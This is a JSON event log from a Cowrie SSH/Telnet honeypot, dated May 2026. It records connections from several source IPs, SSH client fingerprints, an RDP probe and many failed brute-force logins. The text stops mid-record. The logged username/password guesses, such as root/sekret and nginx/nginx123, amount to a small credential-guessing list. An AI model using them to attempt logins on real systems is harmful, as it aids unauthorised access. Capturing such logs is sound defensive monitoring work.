{"eventid":"cowrie.login.failed","username":"root","password":"sekret","message":"login attempt [root/sekret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:49.026413Z","src_ip":"109.172.54.111","session":"07f712c6d320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:50.139993Z","src_ip":"109.172.54.111","session":"07f712c6d320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45384,"dst_ip":"10.17.0.5","dst_port":22,"session":"e16322fb7a32","protocol":"ssh","message":"New connection: 83.168.110.85:45384 (10.17.0.5:22) [session: e16322fb7a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:52.081111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:52.085973Z","src_ip":"83.168.110.85","session":"e16322fb7a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:52.206810Z","src_ip":"83.168.110.85","session":"e16322fb7a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:52.720264Z","src_ip":"83.168.110.85","session":"e16322fb7a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:53.860474Z","src_ip":"83.168.110.85","session":"e16322fb7a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35128,"dst_ip":"159.203.135.109","dst_port":22,"session":"a72aa0bd94a1","protocol":"ssh","message":"New connection: 193.37.70.224:35128 (159.203.135.109:22) [session: a72aa0bd94a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:56.840688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:56.845881Z","src_ip":"193.37.70.224","session":"a72aa0bd94a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:56.935169Z","src_ip":"193.37.70.224","session":"a72aa0bd94a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:57.205438Z","src_ip":"193.37.70.224","session":"a72aa0bd94a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:58.302425Z","src_ip":"193.37.70.224","session":"a72aa0bd94a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52160,"dst_ip":"10.17.0.5","dst_port":22,"session":"75511b8de1f5","protocol":"ssh","message":"New connection: 83.168.110.85:52160 (10.17.0.5:22) [session: 75511b8de1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:59.335042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:59.339053Z","src_ip":"83.168.110.85","session":"75511b8de1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:59.459336Z","src_ip":"83.168.110.85","session":"75511b8de1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.246.156.189","src_port":39325,"dst_ip":"159.203.135.109","dst_port":23,"session":"be93fdb7824b","protocol":"telnet","message":"New connection: 111.246.156.189:39325 (159.203.135.109:23) [session: be93fdb7824b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:59.478244Z"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:07:59.821388Z","src_ip":"83.168.110.85","session":"75511b8de1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:01.156353Z","src_ip":"83.168.110.85","session":"75511b8de1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58832,"dst_ip":"159.203.135.109","dst_port":22,"session":"00d3082fea68","protocol":"ssh","message":"New connection: 152.42.212.128:58832 (159.203.135.109:22) [session: 00d3082fea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:04.905049Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:04.910158Z","src_ip":"152.42.212.128","session":"00d3082fea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:04.920519Z","src_ip":"152.42.212.128","session":"00d3082fea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52600,"dst_ip":"10.17.0.5","dst_port":22,"session":"2141aeaf6c33","protocol":"ssh","message":"New connection: 83.168.110.85:52600 (10.17.0.5:22) [session: 2141aeaf6c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:06.485276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:06.490583Z","src_ip":"83.168.110.85","session":"2141aeaf6c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:06.612586Z","src_ip":"83.168.110.85","session":"2141aeaf6c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:06.976503Z","src_ip":"83.168.110.85","session":"2141aeaf6c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.25274586677551,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:07.274649Z","src_ip":"152.42.224.71","session":"a18be18beec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:08.299533Z","src_ip":"83.168.110.85","session":"2141aeaf6c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.956671476364136,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:13.434805Z","src_ip":"111.246.156.189","session":"be93fdb7824b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52602,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0fae1df066e","protocol":"ssh","message":"New connection: 83.168.110.85:52602 (10.17.0.5:22) [session: c0fae1df066e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:13.766267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:13.771119Z","src_ip":"83.168.110.85","session":"c0fae1df066e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:13.891564Z","src_ip":"83.168.110.85","session":"c0fae1df066e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:14.469930Z","src_ip":"83.168.110.85","session":"c0fae1df066e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:15.595625Z","src_ip":"83.168.110.85","session":"c0fae1df066e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37552,"dst_ip":"10.17.0.5","dst_port":22,"session":"014ac1545a67","protocol":"ssh","message":"New connection: 103.176.20.57:37552 (10.17.0.5:22) [session: 014ac1545a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:19.592479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:19.597570Z","src_ip":"103.176.20.57","session":"014ac1545a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:19.847377Z","src_ip":"103.176.20.57","session":"014ac1545a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234568","message":"login attempt [root/1234568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:20.598344Z","src_ip":"103.176.20.57","session":"014ac1545a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34068,"dst_ip":"10.17.0.5","dst_port":22,"session":"5629dac93a43","protocol":"ssh","message":"New connection: 83.168.110.85:34068 (10.17.0.5:22) [session: 5629dac93a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:20.663858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:20.668683Z","src_ip":"83.168.110.85","session":"5629dac93a43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:20.790440Z","src_ip":"83.168.110.85","session":"5629dac93a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:21.153554Z","src_ip":"83.168.110.85","session":"5629dac93a43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:21.849990Z","src_ip":"103.176.20.57","session":"014ac1545a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:22.277330Z","src_ip":"83.168.110.85","session":"5629dac93a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37710,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f97f9478f17","protocol":"ssh","message":"New connection: 83.168.110.85:37710 (10.17.0.5:22) [session: 7f97f9478f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:27.371259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:08:27.376130Z","src_ip":"83.168.110.85","session":"7f97f9478f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac